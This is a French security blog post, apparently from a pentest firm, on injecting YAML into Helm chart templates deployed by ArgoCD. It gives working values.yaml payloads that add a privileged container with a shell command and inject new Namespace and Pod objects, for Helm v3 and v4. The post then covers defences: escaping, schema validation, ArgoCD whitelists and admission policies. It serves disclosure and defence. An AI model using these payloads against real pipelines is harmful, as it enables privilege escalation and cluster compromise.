Incident de sécurité ? Suspicion de compromission ? 09 71 18 27 69csirt@synacktiv.com

Charting your way in: Injection de templates Helm

Rédigé par Paul Barbé - 29/06/2026 - dans Pentest - Téléchargement

Durant l'audit d'un cluster Kubernetes, nous avons découvert une injection dans un template Helm déployé par ArgoCD. Étonnamment, il existe très peu de ressources concernant l’injection YAML dans un template Helm. Dans cet article de blog, nous présenterons l'identification de ce type de vulnérabilité, leur exploitation et enfin nous verrons les moyens de s'en prémunir.

Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus

Introduction

Helm

Helm est un projet largement utilisé pour gérer et déployer des ressources dans un cluster Kubernetes. En effet, Kubernetes repose sur l'utilisation de fichiers YAML, définissant une ressource au sein du cluster (Pod, Service, NetworkPolicy, etc.). Helm de son côté permet de générer ces fichiers YAML, à partir de templates configurables, et les applique ensuite sur le cluster ciblé.

Cela permet aux administrateurs de déployer facilement toutes les ressources nécessaires au fonctionnement d'une application et de gérer ses dépendances.

Les templates Helm sont des fichiers YAML avec une syntaxe similaire à celle de Jinja, compilé par le moteur de templates de Go12. Des paramètres définis par l'utilisateur, appelés values (ou valeurs dans cet article) et généralement stockées dans un fichier nommé values.yaml, permettent la génération des manifestes avec des entrées personnalisables.

La CLI Helm peut être utilisée pour créer un template et ses values. Nous utiliserons l'exemple suivant :

$ helm create myapp
$ cat << EOF > myapp/values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: "1.0.0"
EOF

$ rm -r myapp/templates/*
$ cat << EOF > myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: {{ .Values.replicaCount }}
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
          ports:
          - containerPort: 80
EOF

Ce template définit un Deployment nommé myapp avec :

  • le nombre de pods désiré (spec.replicas) définie dynamiquement par {{ .Values.replicaCount }} ;

  • l'image utilisée par le conteneur myapp  définie dynamiquement par {{ .Values.image.repository }}:{{ .Values.image.tag }}.

Le fichier myapp/values.yaml quant à lui définit les valeurs qui seront utilisés pour les variables précédentes. La génération du manifeste à partir du template Helm et de nos valeurs peut être effectuée avec les commandes suivantes, qui affichent simplement le résultat :

$ helm template ./myapp
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp:1.0.0"
          ports:
          - containerPort: 80

Lors de cette étape, des vérifications sont effectuées pour s'assurer que le chart produit un fichier YAML correctement formaté, sans vérifier qu'il soit syntaxiquement valide en tant que manifeste Kubernetes.

Il peut ensuite être appliqué au sein d'un cluster en utilisant par défaut la configuration .kube/config :

$ helm install myapp ./myapp
NAME: myapp
LAST DEPLOYED: Fri Oct 17 14:50:17 2025
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None

Configuration CI/CD

Une des raisons expliquant la popularité de Helm au sein de la communauté Kubernetes réside dans la simplicité avec laquelle il permet de partager des charts pour déployer des applications complexes, tout en laissant les administrateurs configurer uniquement les valeurs dont ils ont besoin. Le format texte des Helm charts facilite leur stockage dans un système de contrôle de version et leur utilisation en tant qu'infrastructure-as-code pour Kubernetes.

C'est pourquoi il n'est pas rare de rencontrer des charts Helm stockés dans des répertoires Git, avec un pipeline CI/CD s'assurant que toute modification des charts ou de leurs fichiers values.yaml est appliquée quasiment en temps réel dans le cluster.

Pour cela, ArgoCD3 est devenu l'une des solutions GitOps les plus utilisées. Il permet de définir des pipelines de CD qui surveillent à la fois le code dans un répertoire et l'état des ressources dans le cluster.

Une pratique courante consiste à directement appliquer un chart Helm contenu entièrement dans un répertoire Git, en utilisant les ressources Application4 de ArgoCD.

Voici un exemple utilisant un chart dans un dépôt GitHub, sous le répertoire charts/myapp/. Les valeurs sont quant à elles dans le fichier values/production.yaml.

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: myapp
  namespace: argocd
spec:
  project: default
  source:
    repoURL: https://synacktiv-git-repo/example-helm-deployments.git
    targetRevision: main
    path: charts/myapp
    helm:
      valueFiles:
        - values/production.yaml
  destination:
    server: https://kubernetes.default.svc
    namespace: myapp
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
    syncOptions:
      - CreateNamespace=true

Bien que pratique, cette approche peut mener à des élévations de privilèges ou des évasions de conteneurs triviales, puisque n'importe qui avec le droit de pousser des modifications pourra modifier le template du chart et déployer des ressources ou workloads arbitraires.

Afin de se prémunir de tels scénarios, des administrateurs vigilants pourraient limiter les développeurs à la seule possibilité de modifier les valeurs au sein de charts pré-audités. L'idée étant que seules des ressources sûres et pré-approuvées, aux champs configurables limités, seraient ainsi déployées. Cela peut être mis en place via l'utilisation de sources multiples5.

Par exemple, ici le chart utilisé sera situé à l'adresse https://synacktiv-exemple-repo/helm-charts/myapp tandis que les valeurs seront récupérées depuis le répertoire https://synacktiv-exemple-repo/example-helm-deployments/myapp/values.yaml.

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: myapp
  namespace: argocd
spec:
  project: default
   sources:
    - repoURL: 'https://synacktiv-chart-repo/helm-charts'
      chart: myapp
      targetRevision: 1.0
      helm:
        valueFiles:
        - $values/myapp/values.yaml
    - repoURL: 'https://synacktiv-git-repo/example-helm-deployments.git'
      targetRevision: main
      ref: values
  destination:
    server: https://kubernetes.default.svc
    namespace: myapp
  syncPolicy:
    automated:
      prune: true
      selfHeal: true

Toutefois, cette approche ne permet pas de se prémunir de l'injection de YAML au sein de notre chart myapp qui est vulnérable.

L'injection

Helm v3

La possibilité d'injecter ce template réside dans le fait que les valeurs sont utilisées sans échappement ni validation juste avec .Values.

Bien que cela semble être un risque connu, aucune ressource à notre connaissance n'existe expliquant le problème en détails et comment réellement l'exploiter. De plus, la documentation de Helm n'est pas claire à ce sujet : la question de l'échappement des variables n'apparaît qu'après de nombreux exemples vulnérables dans le guide de templating Helm2, et aucune considération n'est faite concernant la sécurité.

Prenons cette phrase issue de la documentation de Helm6 :

Let's start with a best practice: When injecting strings from the .Values object into the template, we ought to quote these strings.

L'échappement des variables n'y est présenté que comme une bonne pratique et uniquement pour les variables de type chaîne de caractères.

Entrons alors dans le vif du sujet en reprenant notre exemple précédent :

apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: {{ .Values.replicaCount }}
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
          ports:
          - containerPort: 80

Toutes les valeurs insérées dans ce template sont injectables. La technique repose sur l'utilisation de valeur multiligne commençant par |, par exemple :

replicaCount: |
  3
    injectedAttribute: True
image:
  repository: myregistry/myapp
  tag: '1.0.0'

La génération du chart va alors faire apparaître le paramètre injectedAttribute: True dans le manifeste :

$ helm template ./myapp
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  injectedAttribute: True # injection ici 

  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp:1.0.0"
          ports:
          - containerPort: 80

On remarque cependant l'ajout d'un \n à la fin de l'injection. Ce comportement peut compliquer la réalisation d'une injection dans le contexte d'une chaîne de caractères. Prenons les valeurs suivantes où l'injection est réalisée dans la variable tag : il faut prendre en considération le niveau d'indentation et le contexte pour le fermer et le restaurer correctement, ici via l'utilisation de ".

# values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: |
    1.0.0"
              command:
              - "echo injected

Le YAML généré restera syntaxiquement correct, malgré la présence du retour à la ligne

$ helm template ./myapp --debug
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp: 1.0.0"
          command:
          - "echo injected
"
          ports:
          - containerPort: 80


Il sera également possible de déployer le chart dans notre cluster.

$ helm install myapp ./ --values=values.yaml
LAST DEPLOYED: Fri Oct 17 22:03:29 2025
NAMESPACE: default
NAME: myapp
STATUS: deployed
REVISION: 1
TEST SUITE: None

Le retour à la ligne sera cependant converti en un espace, ce qui peut être constaté en inspectant la ressource au sein du cluster.

$ kubectl get deployment -o yaml myapp
apiVersion: apps/v1
kind: Deployment
metadata:
  [...]
spec:
  progressDeadlineSeconds: 600
  replicas: 3
  [...]
  template:
    metadata:
       [...]
    spec:
      containers:
      - command:
        - 'echo injected ' # le \n est converti en espace
        image: 'myregistry/myapp: 1.0.0'
        imagePullPolicy: IfNotPresent

La présence de cet espace peut complexifier l'exploitation dans certains contextes. L'astuce est alors d'utiliser la séquence |- qui permet de créer une valeur multiligne sans retour à la ligne finale.

# values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: |-
    1.0.0"
              securityContext:
                privileged: true
              command: [ "/bin/sh", "-c" ]
              args:
              - "curl 1.1.1.1

$ helm template ./myapp 

---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp:1.0.0"
          securityContext:
            privileged: true
          command: [ "/bin/sh", "-c" ]
          args:
          - "curl 1.1.1.1"
          ports:
          - containerPort: 80

Nous sommes alors en mesure d'ajouter des attributs dans les spécifications d'un objet existant dans le template, permettant par exemple l'exécution de commandes arbitraires ou la modification du security context dans le cas d'un Pod. Cela permet l'exploitation d'évasions de conteneurs triviales. Cela sera suffisant à compromettre le cluster dans de nombreuse situation.

Cependant, si notre injection n'est pas présente dans le contexte d'une charge de travail ou si des restrictions, comme de Pod Security Admissions, sont appliquées au cluster, l'exploitation paraît moins évidente. Il sera néanmoins possible d'injecter de nouveaux objets arbitraires.

En YAML, plusieurs objets peuvent être définis dans le même manifeste en utilisant le séparateur ---. Rien n'empêche d'injecter ce séparateur pour définir de nouvelles ressources lors de l'exploitation.

Par exemple, le fichier values.yaml suivant va permettre d'injecter un nouveau namespace ainsi qu'un pod nginx dans celui-ci.

# values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: |-
    1.0.0"
    ---
    apiVersion: v1
    kind: Namespace
    metadata:
      name: injection
      labels:
        name: injection
    ---
    apiVersion: v1
    kind: Pod
    metadata:
      name: nginx-pod
      namespace: injection 
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx-container
        image: nginx:latest 
        ports:
        - containerPort: 80
      other:
        attribute:
          to:
            fix:
              context: "a

La valeur other.attribute.to.fix.context: "a permet de générer un YAML valide. Bien que cet attribut ne soit pas défini dans la spécification d'un pod, le déploiement du chart fonctionnera et le namespace et le pod seront effectivement créés dans le cluster.

$ helm install myapp ./myapp --debug

client.go:142: 2025-10-17 22:13:18.134663858 +0200 CEST m=+0.101315381 [debug] creating 3 resource(s)
W1017 22:13:18.143600    4407 warnings.go:70] unknown field "spec.other"
NAME: myapp
LAST DEPLOYED: Fri Oct 17 22:13:18 2025
NAMESPACE: default
STATUS: deployed
REVISION: 1
TEST SUITE: None
USER-SUPPLIED VALUES:
{}

COMPUTED VALUES:
image:
  repository: myregistry/myapp
  tag: |-
    1.0.0"
    ---
    apiVersion: v1
    kind: Namespace
    metadata:
      name: injection
      labels:
        name: injection
    ---
    apiVersion: v1
    kind: Pod
    metadata:
      name: nginx-pod
      namespace: injection 
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx-container
        image: nginx:latest 
        ports:
        - containerPort: 80
      other:
        attribute:
          to:
            fix:
              context: "a
replicaCount: 3

HOOKS:
MANIFEST:
---
# Source: myapp/templates/deployment.yaml
apiVersion: v1
kind: Namespace
metadata:
  name: injection
  labels:
    name: injection
---
# Source: myapp/templates/deployment.yaml
apiVersion: v1
kind: Pod
metadata:
  name: nginx-pod
  namespace: injection 
  labels:
    app: nginx
spec:
  containers:
  - name: nginx-container
    image: nginx:latest 
    ports:
    - containerPort: 80
  other:
    attribute:
      to:
        fix:
          context: "a"
          ports:
          - containerPort: 80
---
# Source: myapp/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: myapp
          image: "myregistry/myapp:1.0.0"

Cela peut être vérifié avec les commandes kubectl suivantes : 

$ kubectl get ns injection
NAME        STATUS   AGE
injection   Active   25s

$ kubectl get pod -n injection
NAME        READY   STATUS    RESTARTS   AGE
nginx-pod   0/1     Pending   0          25s

Une telle capacité mènera très probablement à la compromission du cluster. Selon la configuration en place, il est par exemple possible de créer des Roles ou des ClusterRoles, accompagnés de leurs Bindings respectifs, ou encore, comme dans l'exemple précédent, de déployer un pod privilégié dans un nouveau namespace pour contourner des Pod Security Admissions existantes.

Helm v4

Sortie en novembre 2025, la version 4 de Helm introduit certaines subtilités concernant ce type d'injection. En effet, dans cette version le mécanisme Server-Side Apply est activé par défaut et délégue les vérifications à l'API Server de Kubernetes. Là où les attributs inexistants étaient ignorés avec Helm 3, les ressources non valides ne seront plus déployées par défaut.

replicaCount: |
  3
    injectedAttribute: True
image:
  repository: myregistry/myapp
  tag: '1.0.0'
$ helm install myapp ./ --values=values.1.yaml --debug
[...]
level=DEBUG msg="using server-side apply for resource creation" forceConflicts=false dryRun=false fieldValidationDirective=Strict
[...]
Error: INSTALLATION FAILED: server-side apply failed for object default/myapp apps/v1, Kind=Deployment: failed to create typed patch object (default/myapp; apps/v1, Kind=Deployment): .spec.injectedAttribute: field not declared in schema

Pour réaliser la même exploitation avec Helm 4, il faudra soit utiliser uniquement des attributs existants, soit ajouter une ressource pour absorber le contexte restant après notre injection. Cette ressource sera néanmoins rejetée. En reprenant notre exemple d'injection de namespace, on ajoute alors un deuxième pod.

# values.yaml
replicaCount: 3
image:
  repository: myregistry/myapp
  tag: |-
    1.0.0"
    ---
    apiVersion: v1
    kind: Namespace
    metadata:
      name: injection
      labels:
        name: injection
    ---
    apiVersion: v1
    kind: Pod
    metadata:
      name: nginx-pod
      namespace: injection 
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx-container
        image: nginx:latest 
        ports:
        - containerPort: 80
    ---
    apiVersion: v1 # Pour absorber le contexte
    kind: Pod
    metadata:
      name: not-deployed
      labels:
        app: nginx
    spec:
      other:
        attribute:
          to:
            fix:
              context: "a
$ helm4 install myapp myapp --values=values.yaml --debug   

level=DEBUG msg="Created resource via patch" namespace="" name=injection gvk="/v1, Kind=Namespace"
level=DEBUG msg="Error creating resource via patch" namespace=default name=not-deployed gvk="/v1, Kind=Pod" error="server-side apply failed for object default/not-deployed /v1, Kind=Pod: failed to create typed patch object (default/not-deployed; /v1, Kind=Pod): .spec.other: field not declared in schema"
level=DEBUG msg="Created resource via patch" namespace=injection name=nginx-pod gvk="/v1, Kind=Pod"
level=DEBUG msg="Created resource via patch" namespace=default name=myapp gvk="apps/v1, Kind=Deployment"

Notre namespace et notre pod nginx seront effectivement créés, le pod not-deployed sera lui rejeté.

Comment s'en prémunir ?

Via Helm

Comme souvent, la solution sera l'échappement des entrées utilisateur. Le moteur de template de Helm propose plusieurs fonctions permettant de manipuler les valeurs injectées.

Comme le suggère la documentation officielle, utiliser systématiquement la fonction quote pour les chaînes de caractères. Pour la concaténation, la fonction printf peut être utilisée avant d'échapper le résultat final.

image: {{ printf "%s:%s"  .Values.image.repository .Values.image.tag | quote}} 

Pour des valeurs entières ou décimales, il convient toutefois de les échapper en utilisant respectivement les fonctions int ou float64. Notez que si la valeur fournie n'est pas un entier (ou un décimal selon le cas), elle sera définie à 0 par défaut.

replicas: {{ .Values.replicaCount | int }}

Pour toute autre situation, ou pour effectuer des vérifications complémentaires, il est possible d'utiliser la fonction regexMatch en début de template.

# Check image.tag
{{- if not (regexMatch "^(latest|1.1|dev)$" .Value.image.tag) }}
{{- fail "value image.tag does not respect the excepted format" }}
{{- end }}

Pour aller plus loin, il est également possible de définir un fichier de schéma JSON afin de valider la structure et le type des données fournies dans le fichier values.yaml78.

À titre d'exemple, reprenons notre fichier values.yaml précédent, converti en JSON :

{
  "replicaCount": 3,
  "image": {
    "repository": "myregistry/myapp",
    "tag": "1.0.0"
  }
}

Pour obliger la variable image à être constituée d’une propriété repository alphanumérique et d’une propriété tag égale à latest, 1.1 ou dev, et que la variable replicaCount soit un entier, alors le JSON suivant peut être défini :

{
  "$schema": "http://json-schema.org/schema",
  "type": "object",
  "properties": {
    "replicaCount": {
      "type": "number"
    },
    "image": {
      "type": "object",
      "properties": {
        "repository": {
          "type": "string",
          "pattern": "^[a-z0-9-_/:]+$"
        },
        "tag": {
          "type": "string",
           "pattern": "^(latest|1.1|dev)$"
        }
      },
      "required": [
        "repository",
        "tag"
      ]
    }
  },
  "required": [
    "replicaCount",
    "image"
  ]
}

Ce schéma doit être enregistré dans un fichier values.schema.json. Il sera utilisé lors de l'exécution des commandes suivantes :

  • helm template

  • helm install

  • helm upgrade

  • helm lint

Toute tentative d'injection produira une erreur.

$ helm template ./myapp --debug


Error: values don't meet the specifications of the schema(s) in the following chart(s):
myapp:
- at '/replicaCount': got string, want number
- at '/image/tag': '1.0.0"\n---\napiVersion: [...]' does not match pattern '^(latest|1.1|dev)$'

Via ArgoCD

Les ressources déployées par ArgoCD peuvent et doivent être restreintes afin de limiter la portée de l'attaque en cas d'injection réussie. Cette restriction s'implémente via l'attribut clusterResourceWhitelist de la ressource AppProject9.

Un AppProject définit des groupes d'applications, leurs dépôts sources, les clusters de destination ainsi que les ressources autorisées. En ne permettant que les ressources strictement nécessaires au projet, cela empêche la création de ressources sensibles. Par exemple, pour restreindre la création d'objets aux seuls Deployment :

apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
  name: default
  namespace: argocd
spec:
  # ... other project specs ...
  clusterResourceWhitelist:
    - group: apps
      kind: Deployment

Cela empêche le déploiement de ressources arbitraires, comme le namespace ou le pod injectés précédemment, car ils contreviendraient à la liste des ressources autorisées.

Pour restreindre davantage une instance ArgoCD, il est possible de l'installer avec des privilèges limités au niveau d'un namespace. Par défaut, ArgoCD nécessite des permissions de type ClusterRole et ClusterRoleBinding pour gérer les ressources sur l'ensemble du cluster, ce qui lui octroie, le plus souvent, des privilèges d'administrateur de cluster. Il peut cependant être configuré pour s'exécuter uniquement avec des permissions Role et RoleBinding au sein d'un ou plusieurs namespaces spécifiques.

Cette approche isole les capacités d'ArgoCD. Si un attaquant compromet l'instance ArgoCD ou un répertoire de code, les possibilités resteront limitées aux namespaces autorisés limitant grandement les risques d'escalade de privilèges à l'échelle du cluster.

Via les Validating Admission Policies de Kubernetes

Pour aller plus loin, les Validating Admission Policies (VAP) de Kubernetes permettent d'imposer un contrôle plus fin sur les ressources entre leur traitement par ArgoCD et leur déploiement dans le cluster.

Les VAP utilisent le Common Expression Language (CEL) pour définir des règles qui doivent être satisfaites pour qu'une ressource puisse être créée, mise à jour ou supprimée.

L'exemple suivant définit une VAP no-privileged-pods empêchant la définition de pods privilégiés.

apiVersion: admissionregistration.k8s.io/v1alpha1
kind: ValidatingAdmissionPolicy
metadata:
  name: no-privileged-pods
spec:
  failurePolicy: Fail
  matchConstraints:
    resourceRules:
      - apiGroups:   [""]
        apiVersions: ["v1"]
        operations:  ["CREATE", "UPDATE"]
        resources:   ["pods"]
  validations:
    - expression: |
        !has(object.spec.containers) || object.spec.containers.all(c, 
        !has(c.securityContext.privileged) || c.securityContext.privileged == false)
      message: "Privileged containers are not allowed."

Puis, elle doit être appliquée au namespace myapp via une ValidatingAdmissionPolicyBinding :

apiVersion: admissionregistration.k8s.io/v1alpha1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: no-privileged-pods-binding
spec:
  policyName: no-privileged-pods
  matchResources:
    namespaceSelector:
      matchLabels:
        kubernetes.io/metadata.name: myapp # Target the myapp namespace

Avec cette configuration, toute tentative de déployer un pod avec un attribut securityContext.privileged: true, soit par un administrateur, soit via l'exploitation d'une injection Helm, sera bloquée par l'APIserver

Conclusion

Les pipelines CI/CD sont par nature des systèmes privilégiés. Ils détiennent des secrets, déploient des charges de travail et communiquent souvent directement avec les clusters de production, tout en étant accessibles à un public plus large (développeurs, opérateurs, processus automatisés) que ne l'étaient les anciennes interfaces d'administration. Cette combinaison en fait une cible de choix pour les attaquants : compromettre les pipelines, c’est s’emparer des clés du royaume.

Cet exemple montre comment l'oubli d'échappement d'une valeur dans un template Helm peut mener à une compromission de l'environnement. Une légère erreur de configuration ouvre la porte à l'exécution de code arbitraire ou une escalade de privilèges. Cette faille vient s'ajouter à tous les autres risques inhérents aux environnements de déploiement continu : définition des pipelines, gestion des runners, configuration des logiciels de contrôle de version. L'audit de l'ensemble de cette chaîne logicielle est rarement inclus dans les tests d'intrusion applicatifs classiques. Ces failles peuvent alors facilement passer inaperçues, et peuvent rendre inopérantes les mesures de sécurité mises en place.

Garantir la sécurité de ces pipelines exige un effort considérable. Des moteurs de templates aux outils de déploiement, en passant par les couches d'orchestration et les politiques de validation, chaque élément introduit ses propres risques. La mise en œuvre de mesures de sécurité appropriées est rarement simple. Ces contrôles nécessitent souvent une connaissance technique approfondie des interactions entre chaque composant, des tests minutieux, et une maintenance continue à mesure que les outils évoluent. En pratique, bien faire les choses est complexe et chronophage.

La réponse à ces défis ne peut reposer uniquement sur les administrateurs et les opérateurs. Les projets et les outils qui composent l'écosystème CI/CD doivent jouer un rôle actif pour aider les utilisateurs à les déployer de manière sécurisée. Cela implique de fournir une documentation claire, des configurations par défaut sécurisées et des conseils explicites sur les implications des différentes options. Les considérations de sécurité devraient être intégrées au parcours d'utilisation normal, et non reléguées au rang de bonnes pratiques.